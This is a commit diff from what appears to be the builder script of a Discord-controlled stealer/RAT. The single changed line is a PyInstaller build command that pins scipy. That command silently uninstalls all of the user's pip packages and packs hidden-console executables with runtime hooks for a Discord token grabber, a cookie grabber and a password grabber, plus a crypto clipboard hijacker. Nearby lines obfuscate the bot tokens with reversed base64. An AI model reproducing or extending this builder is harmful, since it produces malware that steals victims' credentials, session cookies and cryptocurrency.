File tree Expand file tree Collapse file tree 1 file changed +1
-1
lines changed Expand file tree Collapse file tree 1 file changed +1
-1
lines changed Original file line number Diff line number Diff line change @@ -19,7 +19,7 @@ def compile(debug_mode):
19
19
if len (config ['SETTINGS' ]) != 13 or len (config ['FUNCTIONALITY' ]) != 27 :
20
20
return 'Config corrupted'
21
21
22
- compiling_command = 'start cmd /k "title Reorganising packages... & pip freeze > to_uninstall.txt & pip uninstall -y -r to_uninstall.txt > nul & del to_uninstall.txt > nul & pip install pillow > nul & pip install pyinstaller > nul & pip install -r custom_imports.txt > nul & pip uninstall -y numpy > nul & pip install numpy==1.25.2 > nul & title Compiling source code... & pyinstaller -F ' + ('--noconsole ' if not debug_mode else '' ) + '--upx-dir "resources/" ' + ('--add-data "resources/libopus-0.x64.dll;." ' if config ['FUNCTIONALITY' ]['mc_live' ] == 'True' else '' ) + '--runtime-hook=resources/misc.py ' + ('--runtime-hook=resources/protections.py ' if debug_mode else '' ) + ('--runtime-hook=resources/discord_token_grabber.py --runtime-hook=resources/get_cookies.py --runtime-hook=resources/passwords_grabber.py ' if config ['FUNCTIONALITY' ]['grabber' ] == 'True' else '' ) + ('--add-data="resources/crypto_clipper.json;." ' if config ['FUNCTIONALITY' ]['crclipr' ] == 'True' else '' ) + '--icon "' + (config ['SETTINGS' ]['icon_path' ] if config ['SETTINGS' ]['custom_icon' ] == 'True' else 'NONE' ) + '" "source_prepared.py" > nul & echo - & echo.Done & echo.- & start dist & del source_prepared.spec > nul & rmdir build /S /Q & pause & exit"'
22
+ compiling_command = 'start cmd /k "title Reorganising packages... & pip freeze > to_uninstall.txt & pip uninstall -y -r to_uninstall.txt > nul & del to_uninstall.txt > nul & pip install pillow > nul & pip install pyinstaller > nul & pip install -r custom_imports.txt > nul & pip uninstall -y numpy > nul & pip install numpy==1.25.2 > nul & pip uninstall -y scipy > nul & pip install scipy==1.13.1 > nul & title Compiling source code... & pyinstaller -F ' + ('--noconsole ' if not debug_mode else '' ) + '--upx-dir "resources/" ' + ('--add-data "resources/libopus-0.x64.dll;." ' if config ['FUNCTIONALITY' ]['mc_live' ] == 'True' else '' ) + '--runtime-hook=resources/misc.py ' + ('--runtime-hook=resources/protections.py ' if debug_mode else '' ) + ('--runtime-hook=resources/discord_token_grabber.py --runtime-hook=resources/get_cookies.py --runtime-hook=resources/passwords_grabber.py ' if config ['FUNCTIONALITY' ]['grabber' ] == 'True' else '' ) + ('--add-data="resources/crypto_clipper.json;." ' if config ['FUNCTIONALITY' ]['crclipr' ] == 'True' else '' ) + '--icon "' + (config ['SETTINGS' ]['icon_path' ] if config ['SETTINGS' ]['custom_icon' ] == 'True' else 'NONE' ) + '" "source_prepared.py" > nul & echo - & echo.Done & echo.- & start dist & del source_prepared.spec > nul & rmdir build /S /Q & pause & exit"'
23
23
24
24
token_1 = base64 .b64encode (config ['SETTINGS' ]['bot_token_1' ].encode ()).decode ()[::- 1 ]
25
25
token_2 = base64 .b64encode (config ['SETTINGS' ]['bot_token_2' ].encode ()).decode ()[::- 1 ] if config ['SETTINGS' ]['bot_token_2' ] != '' else None
You can’t perform that action at this time.
0 commit comments